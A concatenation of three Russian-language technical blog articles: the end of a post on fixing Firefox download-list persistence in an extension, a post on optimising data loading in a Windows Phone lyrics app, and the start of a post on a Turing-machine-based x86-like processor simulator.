*
* @param aDownload
* The Download object to be inspected. This is originally taken from
* the global DownloadList object for downloads that were not started
* from a private browsing window. The item may have been removed
* from the list since the save operation started, though in this case
* the save operation will be repeated later.
*
* @return True to save the download, false otherwise.
*/
shouldPersistDownload: function (aDownload)
{
// In the default implementation, we save all the downloads currently in
// progress, as well as stopped downloads for which we retained partially
// downloaded data. Stopped downloads for which we don't need to track the
// presence of a ".part" file are only retained in the browser history.
// On b2g, we keep a few days of history.
//@line 319 "c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\toolkit\components\jsdownloads\src\DownloadIntegration.jsm"
return aDownload.hasPartialData || !aDownload.stopped;
//@line 321 "c:\builds\moz2_slave\m-cen-w32-ntly-000000000000000\build\toolkit\components\jsdownloads\src\DownloadIntegration.jsm"
},
```
Таким образом, есть функция *DownloadStore.prototype.onsaveitem()*, которая всегда разрешает сохранение и переопределяется для каждой конкретной реализации *new DownloadStore()*.
(Забегая вперед, добавлю, что, к сожалению, не все комментарии одинаково полезны и правдивы.)
Причем в исходном коде [DownloadIntegration.jsm](http://hg.mozilla.org/mozilla-central/file/e3daaa4c73dd/toolkit/components/jsdownloads/src/DownloadIntegration.jsm#l305) есть интересный условный комментарий:
```
shouldPersistDownload: function (aDownload)
{
// In the default implementation, we save all the downloads currently in
// progress, as well as stopped downloads for which we retained partially
// downloaded data. Stopped downloads for which we don't need to track the
// presence of a ".part" file are only retained in the browser history.
// On b2g, we keep a few days of history.
#ifdef MOZ_B2G
let maxTime = Date.now() -
Services.prefs.getIntPref("dom.downloads.max_retention_days") * 24 * 60 * 60 * 1000;
return (aDownload.startTime > maxTime) ||
aDownload.hasPartialData ||
!aDownload.stopped;
#else
return aDownload.hasPartialData || !aDownload.stopped;
#endif
},
```
Однако, если подменить функцию *DownloadIntegration.shouldPersistDownload()* (и не забыть про *DownloadIntegration.\_store.onsaveitem()* на случай, если загрузки уже инициализировались) по аналогии с кодом из этого условного комментария, всплывет целая куча неприятных сюрпризов – вроде, и документировано, а корректно работает только в изначальном виде, когда завершенные загрузки не сохраняются.
**Во-первых**, после перезапуска у всех завершенных загрузок будет показываться нулевой размер и время старта браузера (хотя в *downloads.json* все корректно сохраняется).
Неверная дата вызвана кодом из *resource://app/modules/DownloadsCommon.jsm*:
```
/**
* Represents a single item in the list of downloads.
*
* The endTime property is initialized to the current date and time.
*
* @param aDownload
* The Download object with the current state.
*/
function DownloadsDataItem(aDownload)
{
this._download = aDownload;
...
this.endTime = Date.now();
this.updateFromDownload();
}
```
Затем это время не меняется при вызове *DownloadsDataItem.prototype.updateFromJSDownload()* (Firefox 26-27) и *DownloadsDataItem.prototype.updateFromDownload()* (Firefox 28+).
К счастью, можно [сделать](https://github.com/Infocatcher/Download_Panel_Tweaker/blob/0.2.0/downloadsEnhancements.js#L9) [обертку](https://github.com/Infocatcher/Download_Panel_Tweaker/blob/0.2.0/downloadsEnhancements.js#L45) вокруг этой функции и [вносить необходимые правки при каждом вызове](https://github.com/Infocatcher/Download_Panel_Tweaker/blob/0.2.0/downloadsEnhancements.js#L84).
**Во-вторых**, код из условного комментария про MOZ\_B2G на самом деле не работает: завершенные загрузки не будут удалены вообще никогда. Причем других подходящих условных комментариев про MOZ\_B2G найти не удалось (видимо, там тоже не работает), правда, я не особо старался – там [легко все исправить](https://github.com/Infocatcher/Download_Panel_Tweaker/blob/0.2.0/downloadsEnhancements.js#L32).
Затем отсюда же и **в-третьих**: большой список завершенных загрузок не может быть загружен – происходит переполнение стека (ошибка «*too much recursion*»). Причем проблему можно получить уже на списке из 35 загрузок.
Видимо, используемая реализация обещаний ([promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)) не умеет корректно работать с фактически синхронными вызовами.
К примеру, если в *DownloadStore.prototype.load()* (*resource://gre/modules/DownloadStore.jsm*) немного подправить и заменить в
```
/**
* Loads persistent downloads from the file to the list.
*
* @return {Promise}
* @resolves When the operation finished successfully.
* @rejects JavaScript exception.
*/
load: function DS_load()
{
return Task.spawn(function task_DS_load() {
let bytes;
try {
bytes = yield OS.File.read(this.path);
} catch (ex if ex instanceof OS.File.Error && ex.becauseNoSuchFile) {
// If the file does not exist, there are no downloads to load.
return;
}
let storeData = JSON.parse(gTextDecoder.decode(bytes));
// Create live downloads based on the static snapshot.
for (let downloadData of storeData.list) {
try {
let download = yield Downloads.createDownload(downloadData);
```
последнюю строчку на
```
let {Download} = Components.utils.import("resource://gre/modules/DownloadCore.jsm", {});
let download = Download.fromSerializable(downloadData);
```
, то переполнение стека никуда не денется, но произойдет при чуть большем количестве сохраненных загрузок.
**В-четверых**, где-то еще есть оптимизации (?), так что удаление завершенных загрузок через интерфейс может не запустить сохранение данных в *downloads.json* (по умолчанию они же не сохраняются), поэтому после перезагрузки все останется как было.
К счастью, можно применить простой хак: [добавить](https://github.com/Infocatcher/Download_Panel_Tweaker/blob/0.2.0/bootstrap.js#L74) сохранение актуальных загрузок при завершении работы браузера.
**В-пятых**, при запуске браузера, если в панели загрузок что-то есть (даже если это приостановленные или вообще завершенные загрузки) будет уведомление о начале загрузки.
Но у нас уже есть обертка для *DownloadsDataItem.prototype.updateFromDownload()*, так что это [легко правится](https://github.com/Infocatcher/Download_Panel_Tweaker/blob/0.2.0/downloadsEnhancements.js#L112).
Ну, а код чтения *downloads.json*, к сожалению, пришлось [переписать](https://github.com/Infocatcher/Download_Panel_Tweaker/blob/0.2.0/downloadsEnhancements.js#L279). От чего мое мнение об обещаниях (promises) ничуть не улучшилось – любую технологию надо применять с умом и только там, где она реально нужна (а не пихать куда ни попадя только потому, что это модно и современно).
А еще есть странная проблема со списком загрузок: если даты почти не отличаются, то сортировка окажется инвертированной (новые будут снизу, а не сверху), но если при запуске браузера открыть панель загрузок до того, как запустится отложенная инициализация, то порядок будет правильный (но только в этом окне).
Вдобавок проблемы с большим списком загрузок не ограничиваются чтением… Хотя даже с чтением есть еще одна проблема: после каждого добавления новой загрузки вызывается обновление интерфейса, синхронно. При восстановлении сохраненного списка тоже происходит добавление с последующим оповещением об этом всех заинтересованных. Здесь пришлось сделать еще [парочку исправлений](https://github.com/Infocatcher/Download_Panel_Tweaker/blob/0.2.0/downloadsEnhancements.js#L200).
Тут неоценимую помощь оказал [встроенный профайлер](https://developer.mozilla.org/en-US/docs/Tools/Profiler) (Shift+F5), без него разобраться в причинах подвисания было бы практически нереально – уж больно сложная там логика (а [стек вызовов](https://gist.github.com/Infocatcher/9091608) ужасает).
Ну, а помимо чтения с полным списком работает еще, как минимум, функция очистки списка, так что там тоже может вывалиться в переполнение стека, если список достаточно большой. Это пока не исправлено. Но, в принципе, это не критично: если что-то не должно быть сохранено, всегда есть приватный режим, а поштучное удаление (и добавленный пункт очистки вообще всех загрузок) работает.
Что самое интересное, с незавершенными загрузками проблем куда меньше – их восстановление по каким-то причинам не впадет в рекурсию, даже если их довольно много (я проверял для 150 штук). По-видимому, это благодаря выделенному в отдельный поток [OS.File](https://developer.mozilla.org/en-US/docs/JavaScript_OS.File) API для работы с файлами (а у поставленных на паузу загрузок как раз проверяется наличие файла), из-за него же могут вылезать невнятные ошибки вида
> Error: Win error 2 during operation open (Не удается найти указанный файл.
>
> )
>
> Source file: resource://gre/modules/commonjs/sdk/core/promise.js
>
> Line: 133
>
>
(это если удалить файл поставленной на паузу загрузки)
Вдобавок, после внесенных исправлений автоматическая загрузка стала работать нормально, но если сразу после запуска браузера попытаться открыть панель загрузок, то отработает какой-то другой код и, если загрузок много, то может подвиснуть.
**P.S.** [Новая версия расширения](https://addons.mozilla.org/firefox/addon/download-panel-tweaker/versions/0.2.0) все еще проходит проверку, «позиция в очереди: 4 из 17». Изначально я планировал дождаться (да и тексту, в плане редактуры – а написан он больше недели назад – это только на пользу), но всему же есть предел.
**P.P.S.** Я старался писать так, чтобы не навязывать читателю свое мнение о качестве нового кода в Firefox, надеюсь, мне это удалось, а уж выводы пусть каждый сделает сам. Впрочем, повторюсь, в оригинальном виде никаких особых проблем не возникает. | https://habr.com/ru/post/215175/ | null | ru | null |
# История одного приложения или Борьба за производительность
Если вы — профессиональный разработчик, то вам должно быть знакомым чувство, когда хочется сделать что-то не для денег, а для души. В один из таких вечеров мне захотелось немного отвлечься и написать именно такое приложение.
Мы находимся в Украине, где локальных приложений для Windows Phone не так много, а приложений на национальную тематику еще меньше. Будучи меломаном, я решил сделать приложение с текстами песен украинских исполнителей. К моему удивлению, я нашел на сайте [НАШЕ](http://nashe.com.ua/) более 18000 украинских песен, которые исполняют около 800 артистов.
«Неплохо» — подумал я и сел писать простенький парсер, который сложил мне все тексты локально. Я много лет занимался написанием парсеров и прочих подобных приложений, поэтому этот процесс не занял много времени. Для написания кроулера и парсинга HTML использовал написанную мной библиотеку [Data Extracting SDK](http://extracting.codeplex.com/) и, несомненно, лучшую библиотеку в .NET мире для этих целей — [HtmlAgilityPack](http://htmlagilitypack.codeplex.com/).
После того, как вся информация была упакована в один XML файл, стал вопрос о том, как эту информацию лучше всего распаковать в приложении, чтобы пользователь не чувствовал тормоза. И в эту минуту задача «for fun» превратилась в вполне прикладную задачу по поиску оптимального подхода для работы с большими (по меркам мобильного устройства) объемами данных.
Вот что с этого вышло.
#### Основные аспекты производительности
На что необходимо обратить внимание разработчику, чтобы приложение было высокопроизводительным:
**Время старта приложения**
У приложения есть всего несколько секунд, чтобы стартануть. Если время старта превышает 8 секунд — приложение будет выгруженно из памяти, а автор приложения, скорее всего, получит дополнительную единицу в маркете.
Для того, чтобы уменьшить время старта, необходимо, чтобы приложение содержало как можно меньше файлов ресурсов (Resources), поэтому файлы мультимедиа и другие «тяжелые» файлы лучше включать в проект как контент (Content).
Но есть и обратная сторона — доступ к ресурсам *после* запуска приложения занимает меньше времени, чем чтение контента. Поэтому разработчикам нужно учитывать эти отличия.
Также нужно помнить что splash скрин не поддерживает анимацию, т.к. это обычный jpeg файл.
**Время загрузки данных**
После старта приложения начинают загружаться данные. В нашем случае данных много и время чтения — тоже большое.
Если данные загружаются несколько секунд (с локального хранилища или через веб-сервис), то часто делают дополнительную фейковую страницу, которая эмулирует splash экран, но добавляют анимацию (progress bar с текстом «Пожалуйста, подождите...»). Посде загрузки данных пользователь перенаправляется на страницу, где уже отображаются загруженные данные, будучи увенным, что Microsoft наконец таки добавил возможность отображать анимированные splash скрины. Более подробно о том, как сделать анимированный splash скрин, читаем [здесь](http://wp7rocks.com/posts/details/2364).
Если вы загружаете данные в основном потоке, то обычно это выглядит так:
```
public MainPage()
{
InitializeComponent();
DataContext = new SomeDataObject();
}
```
то пользователь, наверняка, увидит подвисания интерфейса (особенно это актуально для элемента управления Panorama).
Исправить это можно таким образом — дождаться полной загрузки всего UI и ресурсов и только потом отображать данные:
```
public MainPage()
{
InitializeComponent();
this.Loaded += MainPage_Loaded;
}
void MainPage_Loaded(object sender, RoutedEventArgs e)
{
DataContext = new SomeDataObject();
}
```
Второй вариант — грузить все в отдельном потоке или создать BackgroundWorker:
```
public MainPage()
{
InitializeComponent();
StartLoadingData();
}
private void StartLoadingData()
{
this.Dispatcher.BeginInvoke(() =>
{
var backroungWorker = new BackgroundWorker();
backroungWorker.DoWork += backroungWorker_DoWork;
backroungWorker.RunWorkerCompleted += backroungWorker_RunWorkerCompleted;
backroungWorker.RunWorkerAsync();
});
}
void backroungWorker_DoWork(object sender, DoWorkEventArgs e)
{
// heavy operation
}
void backroungWorker_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
{
this.Dispatcher.BeginInvoke(() =>
{
// update layout with new data
});
}
```
Написали чуть больше кода, зато улучшили производительность.
Ну и хорошим тоном является показывать progress bar во время выполнения тяжелых операций (можно использовать Microsoft.Phone.Shell.ProgressIndicator, компонент из Silverlight Toolkit или из Telerik RadControls for Windows Phone).
**Скорость переключения между экранами**
Обычно переходы между страницами не занимают много времени, но улучшить этот процесс также можно, добавив красивые анимации \*также можно воспользоваться Telerik RadControls for Windows Phone).
Это была «минутка теории». Плавно переходим к главной задаче: загрузка и отображение данных.
#### Загрузка и отображение данных
Есть Windows Console программа, которая подготавливает данные, а Windows Phone приложение — эти данные читает.
Самый простой способ: сериализация данных, а именно в XML:
```
private static void Serialize(object obj, string name)
{
var ser = new XmlSerializer(obj.GetType());
var sb = new StringBuilder();
var writer = new StringWriter(sb);
ser.Serialize(writer, obj);
File.WriteAllText(name + ".xml", sb.ToString().Replace("encoding=\"utf-16\"", null));
}
private static void Deserialize(Type type)
{
//Assuming doc is an XML document containing a serialized object and objType is a System.Type set to the type of the object.
XmlNodeReader reader = new XmlNodeReader(doc.DocumentElement);
XmlSerializer ser = new XmlSerializer(objType);
object obj = ser.Deserialize(reader);
// Then you just need to cast obj into whatever type it is eg:
var myObj = (typeof(obj))obj;
}
```
Модель данных выглядит таким образом:
```
public class Artist
{
public Artist()
{
Songs = new List();
}
public int Id { get; set; }
public string Title { get; set; }
public List Songs { get; set; }
}
public class Song
{
public int Id { get; set; }
public string Title { get; set; }
public string Description { get; set; }
public int ArtistId { get; set; }
}
```
В итоге получили XML файл, который занимал больше 24 мегабайт.
*Еще пробовал сериализовать в JSON формат, а также уменьшать названия свойств, что дало экономию в полмегабайта, что можно назвать «микро» оптимизацией.*
24 мегабайта тащить за собой в приложение — не самая лучшая идея, поэтому было принято решение использовать базу SQL CE и читать данные с нее.
В Windows Phone приложение был добавлен код, который парсит XML файл, и записывает все данные в локальную базу.
Выводы:
* проверка и вставка данных происходила *очень* медленно;
* из-за длины некоторых текстов пришлось использовать тип DbType.NText;
* финальный размер базы был очень большим и даже не смотря на это его нужно было при старте приложения переписать в локальное хранилище, что занимало много времени.
Для того, чтобы скопировать локально сгенерированную базу использовался инструмент [Isolated Storage Explorer](http://wp7explorer.codeplex.com/):
Чтобы Isolated Storage Explorer у вас заработал, необходимо добавить соответствующую библиотеку в проект и прописать код:
Т.к. вариант с базой пролетел, начал искать другие варианты оптимизации. Понятно, что там где есть большой текстовый файл, там можно его сжать с помощью архиватора. Посе сжатия Zip архиватором файл стал весить около 5 мегабайт.
Таким образом, при старте приложения необходимо 1) скопировать файл в локальное хранилище 2) распаковать его 3) загрузить данные из файла в память.
Zip архив в проект добавлен как Content, при старте делаем все вышеперечисленные действия. Для этого использовались различные комбинации методов:
```
private void CopyFromContentToStorage(IsolatedStorageFile store, string dbName)
{
var src = Application.GetResourceStream(new Uri(dbName, UriKind.Relative)).Stream;
var dest = new IsolatedStorageFileStream(dbName, FileMode.OpenOrCreate, FileAccess.Write, store);
src.Position = 0;
CopyStream(src, dest);
dest.Flush();
dest.Close();
src.Close();
dest.Dispose();
}
private static void CopyStream(Stream input, IsolatedStorageFileStream output)
{
var buffer = new byte[32768];
long tempPos = input.Position;
int readCount;
do
{
readCount = input.Read(buffer, 0, buffer.Length);
if (readCount > 0)
{
output.Write(buffer, 0, readCount);
}
} while (readCount > 0);
input.Position = tempPos;
}
// load items from "fileName" file that exists in "zipName" file
private static List Load(string zipName, string fileName)
{
var info = Application.GetResourceStream(new Uri(zipName, UriKind.Relative));
var zipInfo = new StreamResourceInfo(info.Stream, null);
var s = Application.GetResourceStream(zipInfo, new Uri(fileName, UriKind.Relative));
var serializer = new XmlSerializer(typeof (List));
return serializer.Deserialize(s.Stream) as List;
}
```
Также в ход пошла библиотека SharpZipLib:
```
using (ZipInputStream s = new ZipInputStream(src))
{
s.Password = "123456";//if archive is encrypted
ZipEntry theEntry;
try
{
while ((theEntry = s.GetNextEntry()) != null)
{
string directoryName = Path.GetDirectoryName(theEntry.Name);
string fileName = Path.GetFileName(theEntry.Name);
// create directory
if (directoryName.Length > 0)
{
Directory.CreateDirectory(directoryName);
}
if (fileName != String.Empty)
{
// save file to isolated storage
using (BinaryWriter streamWriter =
new BinaryWriter(new IsolatedStorageFileStream(theEntry.Name,
FileMode.OpenOrCreate, FileAccess.Write, FileShare.Write, iso)))
{
int size = 2048;
byte[] data = new byte[2048];
while (true)
{
size = s.Read(data, 0, data.Length);
if (size > 0)
{
streamWriter.Write(data, 0, size);
}
else
{
break;
}
}
}
}
}
}
catch (ZipException ze)
{
Debug.WriteLine(ze.Message);
}
```
Я испробовал много вариантов:
* zip файл с файлом с метаинформацией (список артистов и ссылки на их песни), в то вемя как тексты песен находились в отдельных файлах — большой минус по производительности, т.к. 18000 файлов читались и копировались очень медленно;
* zip с двумя файлами: один — со списком артистов, другой — с песнями — плохо, т.к. артисты читались быстро, а песни уже во время использования приложения — также долго;
* вариант загрузки при старте только списка исполнителей, а в фоне незаметно для пользователя — загрузка песен — возникала ситуация, что пользователь нажимал на песню раньше, чем файл успел загрузиться.
Этот этап закончился с одним выводом: файл должен быть один и он должен быть в архиве, т.к. само чтение zip файла — достоточно быстрое.
Раз дальше уменьшать размер файла нельзя, можно уменьшить время его чтения и загрузки в память. И тогда я пошел по пути кастомной сериализации.
#### Бинарная сериализация
Еще раньше я знал, что встроенные сериализации — медленные и если нужно быстродействие, то надо использовать бинарную сериализацию.
В качестве сериализатора был выбран [SilverlightSerializer by Mike Talbot](http://whydoidoit.com/silverlight-serializer/).
В Windows Console Application все работало как следует (serialization / deserialization), а вот с чтением созданного файла в Windows Phone проекте возникли трудности, связанные с разными версиями mscorlib.
На странице описания проекта есть абзац о проблемах совместимости между .NET и Silverlight проектами:
> The vital thing to do in these circumstances is to define the classes you want to share in a Silverlight assembly that only references System, System.Core and mscorlib.
К сожалению, побороть эту проблему так и не получилось.
Тогда я попал на проект [protobuf-net](http://code.google.com/p/protobuf-net/).
Помечаем нужные классы и свойства и получаем бинарный файл на выходе:
```
[ProtoContract]
public class Person
{
[ProtoMember(1)]
public int Id {get;set;}
[ProtoMember(2)]
public string Name {get;set:}
[ProtoMember(3)]
public Address Address {get;set;}
}
```
Проблем с чтением файла из Windows Phone проекта не было.
#### Что в итоге
В результате получилось такое решение:
1. Zip файл, в котором лежит бинарник artists.bin, а сам zip файл подключен как Content;
2. С помощью BackgroundWorker после загрузки UI начинаем загружать данные (читаем bin файл прямо из zip файла и десериализируем его в локальную модель данных):
```
public List LoadData()
{
var info = Application.GetResourceStream(new Uri("artists.zip", UriKind.Relative));
var zipInfo = new StreamResourceInfo(info.Stream, null);
using (var file = Application.GetResourceStream(zipInfo, new Uri("artists.bin", UriKind.Relative)).Stream)
{
return Serializer.Deserialize>(file);
}
}
```
Итого: запуск приложения и парсинг данных на Lumia 800: ~ 5-6 секунд, после чего вы можете легко просматривать любой контент. Результат мог бы быть лучше и я еще продолжу исследования и работу над производительность, но и этот результат, на мой взгляд, достаточно не плохой.
Есть еще одно небольшое узкое место — при переходах между текстами в рамках одного исполнителя или результатами поиска текстовый парсер может чуть-чуть притормаживать (решение я уже описал — нужно добавить анимации, которые скроют этот артефакт, может в обновлении добавлю, если пользователям понравится приложение).
В общем, на все про все ушло:
* 1 час на написание парсера песен;
* 6 часов на исследования различных вариантов улучшения производительности;
* 2 час на написание, собственно, Windows Phone приложения;
* 1 час на рисование иконок и создание графических файлов;
* 0,25 часа на отправку на сертификацию;
* 1,5 часов на написание этой статьи.
Всего ~ 12 часов.
Результат работы можно увидеть и оценить [здесь](http://www.windowsphone.com/s?appId=0a40de3d-2476-4b6d-8354-b26c4b39efa1).
Спасибо за внимание! Надеюсь, Windows Phone Store и хабр стал немножко лучше после этой статьи! | https://habr.com/ru/post/167001/ | null | ru | null |
# Симулятор x86 подобного процессора на машине Тьюринга
Привет, Хабр! В свободное от работы время по вечерам мне нравится воплощать в жизнь свои сумасшедшие идеи. В один из таких вечеров родилась мысль реализовать компилятор кода в машину Тьюринга. Осознав ~~всю тщетность бытия~~ сложность реализации, было принято решение начать с чего-то более простого – симулятора простенького процессора со своим собственным ассемблером, в котором команды выполнялись бы с помощью различных состояний машины Тьюринга, а данные хранились бы на одной ленте. В конечном итоге удалось осуществить практически первоначальную задумку, а именно получить одну единственную машину Тьюринга, способную выполнять скомпилированную из NASM подобного ассемблера программу без какого-либо внешнего взаимодействия.
Напоминание о том, что такое машина Тьюринга
--------------------------------------------
**Машина Тьюринга (МТ)** – абстрактная вычислительная машина, предложенная Аланом Тьюрингом для формализации понятия алгоритма. Устройство машины состоит из следующий частей:
* бесконечная лента, состоящая из ячеек;
* головка для считывания/записи символов на ленте;
* устройство управления.
Машина Тьюринга### Бесконечная лента
Лента в машине Тьюринга состоит из ячеек, в которые можно записывать символы из заданного алфавита, а также считывать их. Если на ленте ничего не записано, то считается, что там записан специальный символ `λ`.
Перед началом работы на ленту помещается входное слово. В процессе работы содержимое ленты модифицируется устройством управления и в результате на ленте остаётся выходное слово.
### Считывающая / записывающая головка
В каждой машине Тьюринга есть специальная головка, указывающая на одну определённую ячейку на ленте. Данное устройство позволяет считывать символ из ячейки, над которой находится головка, или записывать символ в эту ячейку. Также головка может перемещаться на одну ячейку влево или вправо, или оставаться на месте.
### Устройство управления
Под устройством управления понимается таблица состояний с правилами перехода. Состоянием называется строка таблицы, в которой в данный момент находится машина. Состояние, в котором находится машина перед запуском называется начальным, обычно обозначается именем `q₀`. Для завершения работы МТ используется специальное терминальное состояние, которое обозначается как `HALT`.
Таблица имеет размер `Q|x|A|`, где `|Q|` — количество состояний, а `|A|` — размерность алфавита, включая символ `λ`. В первой (заголовочной) строке записаны символы алфавита. В каждой ячейке таблицы строки состояния, располагаются тройки , определяющие действие машины, которое необходимо сделать в том случае, если МТ находится в этом состоянии, а головка расположена на символе из заголовочной ячейки данного столбца:
* `char` – символ, который нужно записать на ленту;
* `action` – действие, которое нужно совершить после записи (одно из трёх действий: `L` – переместить головку на один символ влево, `N` – не перемещать головку, `R`– переместить головку на один символ вправо);
* `state` – состояние, в которое необходимо перейти после записи символа и действия перемещения.
Допускаются краткие записи для правил:
* Если необходимо выполнить только сдвиг, оставшись в том же состоянии, то достаточно записать только символ перемещения: `L`, `N` или `R`;
* Если нужно выполнить останов, то достаточно записать `HALT`;
### Пример простейшей машины Тьюринга
В слове из алфавита `{a, b}` инвертировать символы. В начальный момент головка находится в начале слова.
| | | | |
| --- | --- | --- | --- |
| `Q \ A` | `a` | `b` | `λ` |
| `q₀` | `b,R,q₀` | `a,R,q₀` | `HALT` |
Пока под головкой не окажется пустой символ (`λ`), вместо символа `a` записывается символ `b`, а вместо `b` записывается `a` и выполняется сдвиг головки вправо на очередной символ. При считывании пустого символа МТ переходит в терминальное состояние.
Первая версия симулятора - симулятор с машиной Тьюринга
-------------------------------------------------------
В качестве базовых требований к симулятору процессора были поставлены следующие:
* произвольная разрядность процессора (`bitDepth`);
* несколько регистров общего назначения – `A`, `B`, `C`, `D`, `E`, `F`;
* поддержка только беззнаковых чисел;
* набор базовых команд вроде `MOV`, `INC`, `DEC`, `ADD`, `AND`, `NOT`, `JMP` и т.д.;
* поддержка флагов переноса (`CF`) и нуля (`ZF`), а также условных переходов;
* выполнение команд с помощью МТ.
Внешний вид первой версии симулятора### Компиляция программы
При компиляции программа на ассемблере парсится в список инструкций выполняемой команды и её аргументов. Например, программа для вычисления 11-го числа Фибоначчи, записанная на ассемблере
```
MOV A, 11 ; номер числа Фибоначчи
MOV C, 1
.loop:
MOV D, B
ADD B, C
MOV C, D
DEC A
JNZ .loop
HLT
```
превращается в такой список:
```
program = [
{ "command": "MOV", "args": ["A", "11"] },
{ "command": "MOV", "args": ["C", "1"] },
{ "command": "MOV", "args": ["D", "B"] },
{ "command": "ADD", "args": ["B", "C"] },
{ "command": "MOV", "args": ["C", "D"] },
{ "command": "DEC", "args": ["A"] },
{ "command": "JNZ", "args": [2] },
{ "command": "HLT", "args": [] }
]
```
Для управления выполняемой инструкцией программы используется целочисленный индекс – `programIndex`, изначально равный нулю. При выполнении операций перехода этот индекс заменяется номером инструкции, которому соответствует метка переданного аргумента, получаемая из предварительно заполненного словаря "метка" - "номер инструкции". После того, как `programIndex` выходит за границы списка инструкций или выполняется инструкция останова (`HLT`), программа завершает своё выполнение.
### Хранение значений
Основным и единственным местом хранения информации помимо программы и индекса выполняемой инструкции, являются регистры и флаги. Регистры представляют собой строки из нулей и единиц длины равной разрядности процессора, а флаги – булево значение.
```
registers = {
"A": "00000000",
"B": "01011001",
"C": "00110111",
"D": "00110111",
"E": "00000000",
"F": "00000000",
}
flags = {
"ZF": false
"CF": false
}
```
### Команды для АЛУ
Команды для выполнения на арифметико-логическом устройстве представляют из себя набор независимых состояний для машины Тьюринга. Предполагается, что при запуске команды головка находится на первом символе слова, над которым выполняется операция. По окончании работы команды головка возвращается на первый символ слова. Последнее требуется для того, чтобы получить результат путём последовательного считывания символов до `λ`.
### Примеры нескольких команд АЛУ:
| | | | |
| --- | --- | --- | --- |
| `command` \ `char` | `0` | `1` | `λ` |
| `move-begin` | `L` | `L` | `λ,R,HALT` |
| `INC` | `R` | `R` | `λ,L,INC-1` |
| `INC-1` | `1,L,move-begin` | `0,L,INC-1` | `1,N,HALT` |
| `DEC` | `R` | `R` | `λ,L,DEC-1` |
| `DEC-1` | `1,L,DEC-1` | `0,L,move-begin` | `1,N,HALT` |
| `NOT` | `1,R,NOT` | `0,R,NOT` | `λ,L,move-begin` |
### Выполнение команды
При выполнении команды пересылки переданное значение копируется в результирующий регистр.
Операции безусловного перехода, как было сказано ранее, просто обновляют индекс выполняемой инструкции. Инструкции условного перехода работают аналогичным образом, предварительно проверяя на соответствующее условие значения флагов `ZF` и `CF`.
При выполнении очередной команды АЛУ, не являющейся операцией перехода или пересылки значения (MOV), выполняются следующие действия:
* Если команда использует один аргумент, то его значение помещается на ленту машины Тьюринга как есть. Если же команда использует два аргумента, то на ленту помещается слово из значений аргументов, разделённых символом `#`;
* Машина Тьюринга запускается из состояния, соответствующего выполняемой команде;
* По достижении терминального состояния слово на ленте извлекается, проверяется значение на равенство нулю и наличие переноса для установки флагов `ZF` и `CF`. Если при проверке было обнаружено наличие переноса, то из слова удаляется первый символ;
* Обработанное слово записывается в результирующий аргумент.
Пример выполнения операции сложения в первой версии симулятора### Недостатки первой версии симулятора
Несложно заметить, что эта версия не является машиной Тьюринга, а всего лишь использует её для выполнения некоторых команд. При этом сам симулятор вынужден периодически записывать данные на ленту перед выполнением инструкции, а также считывать их после выполнения. Далее эта ужасная несправедливость будет исправлена.
Вторая версия симулятора - полноценная машина Тьюринга
------------------------------------------------------
Для построения машины Тьюринга, симулирующей процессор, необходимо, чтобы память программы, значения регистров, арифметико-логическое устройство, флаги, память и стек располагались на ленте, а взаимодействие между ними производилось с помощью различных состояний машины.
### Дополнительные требования к симулятору
* поддержка как беззнаковых чисел, так и чисел со знаком;
* в дополнение к имеющимся флагам добавить флаги переполнения (`OF`) и знака (`SF`);
* условные переходы знакового сравнения – `JL`, `JLE`, `JG`, `JGE` и т.д.;
* возможность подсветить на ленте значения регистров и флагов;
* память с произвольным количеством ячеек;
* использование адресов для обращения к памяти – `[12]` или `[A]`;
* (условно) бесконечный стек;
* подпрограммы (команды `CALL` и `RET`).
Для реализации МТ с учётом всех требований, определимся с форматом размещения на ленте основных блоков:
* выполняемая программа;
* регистры;
* АЛУ и флаги;
* память;
* стек.
### Размещаем на ленте программу
Для определения границ начала и конца программы введём соответствующие символы (здесь и далее под символом будет пониматься строка, длина которой может быть больше одного – это требуется ради наглядности и никак не влияет на алгоритм работы МТ, поскольку всегда можно выполнить замену таких строк на очередной неиспользованный символ):
```
const PROGRAM_CHAR = 'PRG'
const PROGRAM_END_CHAR = 'END'
```
Первым символом на ленте будет идти символ начала программы `PROGRAM_CHAR`. После него необходимо разместить `max(programDepth, bitDepth) + 1` пустых символов `λ`, где `programDepth` – минимальное число бит, необходимых для получения любого числа от 0 до количества инструкций без единицы. Это место впоследствии будет использоваться для записи адреса перехода.
После места для адреса размещаются инструкции программы, разделённые символом `#`. При этом первая и последняя команды также отделяются `#`. В конце последней решётки записывается символ конца программы – `PROGRAM_END_CHAR`.
Размещение команд на ленте#### Размещение команд перехода
* Команды безусловного перехода записываются в виде `JMP` `b₀` `b₁` `b₂` ... `bₙ` , где `b₀`, `b₁`, `b₂`, `bₙ` – биты адреса перехода.
* Команды условного перехода, а также команда `CALL` записываются в виде `J__` `λ` `b₀` `b₁` `b₂` ... `bₙ` , где `J__` – команда условного перехода, например, `JZ`, а `b₀`, `b₁`, `b₂`, `bₙ` – биты адреса перехода.
#### Перевод адреса в аргумент
Для записи адреса как аргумента команды на ленте, используется символ `&`. После этого идёт или регистр, если использовался регистровый адрес, либо двоичная константа, если использовался адрес в виде константы.
#### Размещение команд пересылки (MOV)
Записывается первый аргумент:
* если регистр, размещается его имя и затем `0`;
* если адрес, он переводится в аргумент, и добавляется `λ`.
Записывается второй аргумент
* если регистр, размещается его имя;
* если константа, она переводится в двоичный вид длины `bitDepth`;
* если адрес, он переводится в аргумент
После этого размещается `λ`, `MOV` и ещё один символ `λ`.
#### Размещение стековых команд
Записывается имя команды - `POP` или `PUSH`
* если аргумент константа, она переводится в двоичный вид длины `bitDepth`;
* если адрес, он переводится в аргумент;
* если регистр, записывается его имя;
В конце добавляется символ `λ`.
#### Размещение унарных команд
* записывается единственный аргумент как есть (поскольку является регистром);
* записывается `λ`;
* записывается имя команды;
* записывается заключительная `λ`;
#### Размещение бинарных команд
* записывается первый аргумент (так как всегда регистр);
* записывается `1`;
* в зависимости от типа второго аргумента, аналогично стековым командам;
* записывается `λ`;
* записывается имя команды;
* записывается заключительная `λ`;
#### Размещение команд без аргументов (RET и HLT)
Символ команды просто записывается на ленту.
Пример размещения программы на ленте 3-битного процессора:
```
MOV A, 4
DEC A
ADD A, 3
```
Пример: размещение на ленте программы для 3-х битного процессора### Размещаем на ленте регистры
После программы расположены регистры. Каждый регистр начинается со своего имени, затем идут `bitDepth` нулей и завершающая `λ`, после чего начинается новый регистр.
